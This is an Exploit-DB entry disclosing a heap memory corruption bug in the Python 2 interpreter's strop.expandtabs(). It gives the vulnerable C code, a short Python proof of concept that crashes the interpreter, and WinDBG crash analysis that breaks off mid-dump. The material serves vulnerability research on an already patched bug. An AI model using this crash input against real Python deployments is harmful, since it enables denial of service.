Exploit-DB #33251
Description: Python - Interpreter Heap Memory Corruption (PoC)
Type: dos
Platform: multiple
Date: 2014-05-08
Author: Debasish Mandal

Exploit:
# Title: Python Interpreter Heap Memory Corruption
# Date: Sun, 30 Mar 2014 20:09:44 -0400
# Vulnerability Discovered By : Unknown 
# Proof of Concept : Debasish Mandal (https://twitter.com/debasishm89)
# Software Link: https://www.python.org/
# Version: All , Fix released (http://hg.python.org/cpython/rev/5dabc2d2f776)
# Tested on: Microsoft Windows XP Professional SP2 EN (32bit)

Recentl a new fix has been pushed to official python source code repository which fixes (http://hg.python.org/cpython/rev/5dabc2d2f776
) a memory corruption vulnerability in python interpreter's strop module. The vulnerability lies in expandtabs() functions. 
This is due to a missing check in line 626,627 of /Modules/stropmodule.c.

Vulnerable Code:

https://github.com/pgbovine/Py2crazy/blob/master/Python-2.7.5/Modules/stropmodule.c#L627

------------------------------------------------------------------------------------------------------------
    for (p = string; p < e; p++) {
        if (*p == '\t') {
            j += tabsize - (j%tabsize);
            if (old_j > j) {
                PyErr_SetString(PyExc_OverflowError,
                                "new string is too long");
                return NULL;
            }
            old_j = j;
        } else {
            j++;
            if (*p == '\n') {
		// Missing check 
                i += j;  
                j = 0;
            }
        }
    }
------------------------------------------------------------------------------------------------------------

Patch Diff:
http://hg.python.org/cpython/diff/5dabc2d2f776/Modules/stropmodule.c


=================
Proof of Concept:
=================

Running below code will crash the vulnerable python.exe process.

import strop
raw_input('Press Enter to BOOM!')
a = '\t\n' * 65536
strop.expandtabs(a, 65536)

============================
Crash Analysis using WinDBG:
============================

Microsoft (R) Windows Debugger Version 6.12.0002.633 X86
Copyright (c) Microsoft Corporation. All rights reserved.

*** wait with pending attach
Symbol search path is: SRV*E:\symbol*http://msdl.microsoft.com/download/symbols
Executable search path is: 
ModLoad: 1d000000 1d00a000   C:\Python27\python.exe
ModLoad: 7c900000 7c9b0000   C:\WINDOWS\system32\ntdll.dll
ModLoad: 7c800000 7c8f4000   C:\WINDOWS\system32\kernel32.dll
ModLoad: 1e000000 1e227000   C:\WINDOWS\system32\python27.dll
ModLoad: 77d40000 77dd0000   C:\WINDOWS\system32\USER32.dll
ModLoad: 77f10000 77f56000   C:\WINDOWS\system32\GDI32.dll
ModLoad: 77dd0000 77e6b000   C:\WINDOWS\system32\ADVAPI32.dll
ModLoad: 77e70000 77f01000   C:\WINDOWS\system32\RPCRT4.dll
ModLoad: 7c9c0000 7d1d4000   C:\WINDOWS\system32\SHELL32.dll
ModLoad: 77c10000 77c68000   C:\WINDOWS\system32\msvcrt.dll
ModLoad: 77f60000 77fd6000   C:\WINDOWS\system32\SHLWAPI.dll
ModLoad: 78520000 785c3000   C:\WINDOWS\WinSxS\x86_Microsoft.VC90.CRT_1fc8b3b9a1e18e3b_9.0.21022.8_x-ww_d08d0375\MSVCR90.dll
ModLoad: 773d0000 774d2000   C:\WINDOWS\WinSxS\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.2180_x-ww_a84f1ff9\comctl32.dll
ModLoad: 5d090000 5d127000   C:\WINDOWS\system32\comctl32.dll
(f0.320): Break instruction exception - code 80000003 (first chance)
eax=7ffd6000 ebx=00000001 ecx=00000002 edx=00000003 esi=00000004 edi=00000005
eip=7c901230 esp=023dffcc ebp=023dfff4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000             efl=00000246
ntdll!DbgBreakPoint:
7c901230 cc              int     3
0:001> g
(f0.1f4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=20202020 ebx=0263bffe ecx=00003fff edx=00000001 esi=00010000 edi=025cf000
eip=7855b37f esp=0021fce4 ebp=0021fd1c iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000             efl=00010206
MSVCR90!memset+0x5f:
7855b37f f3ab            rep stos dword ptr es:[edi]

We can see we have a write access violation at MSVCR90!memset+0x5f:

Crash stack trace:

0:000> kb
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\system32\python27.dll - 
ChildEBP RetAddr  Args to Child              
0021fce4 1e0483e2 025ceffd [PII_REDACTED] MSVCR90!memset+0x5f
WARNING: Stack unwind information not available. Following frames may be wrong.
0021fd1c 1e08883b 00000000 022e7cd8 022eb5a8 python27!PyOS_AfterFork+0xc9f
0021fd38 1e0bf781 022eb5a8 022e7cd8 00000000 python27!PyCFunction_Call+0x138
0021fd60 1e0bcb94 1e0bd826 0021fdc4 01e280f8 python27!PyEval_GetFuncDesc+0x341
0021fd64 1e0bd826 0021fdc4 01e280f8 02663ff0 python27!PyEval_EvalFrameEx+0x18e4
0021fdd8 1e0be200 0021fe20 1e0be82e 02663eb8 python27!PyEval_EvalFrameEx+0x2576
0021fde0 1e0be82e 02663eb8 00[PII_REDACTED]e2c0 python27!PyEval_EvalCodeEx+0x50
0021fe20 1e0bb295 01e280f8 01e1e6f0 01e1e6f0 python27!PyEval_EvalCodeEx+0x67e
0021fe54 1e0e0d68 01e280f8 01e1e6f0 01e1e6f0 python27!PyEval_EvalCode+0x25
0021fe70 1e0e0d36 0261e2c0 01de2ff3 01e1e6f0 python27!PyRun_FileExFlags+0x97
0021fe9c 1e0e0329 785b7408 01de2ff3 00000101 python27!PyRun_FileExFlags+0x65
0021fed8 1e0dff3e 785b7408 01de2ff3 00000001 python27!PyRun_SimpleFileExFlags+0x133
0021fef8 1e02f5df 785b7408 01de2ff3 00000001 python27!PyRun_AnyFileExFlags+0x4c
*** ERROR: Module load completed but symbols could not be loaded for C:\Python27\python.exe
0021ff7c 1d[PII_REDACTED]0002 01de2fd0 01d9ef80 python27!Py_Main+0x805
0021ffc0 7c816d4f 00090000 01fa0cda 7ffd6000 python+0x1160
0021fff0 00000000 1d0012a8 [PII_REDACTED] kernel32!BaseProcessStart+0x23

We crashed inside MSVCR90!memset

After that we restart the app and set a break point at memset.

0:001> bp MSVCR90!memset
0:001> g
Breakpoint 0 hit
eax=00aada58 ebx=00000014 ecx=00000014 edx=00000a98 esi=1e1e0658 edi=00aada58
eip=7855b320 esp=0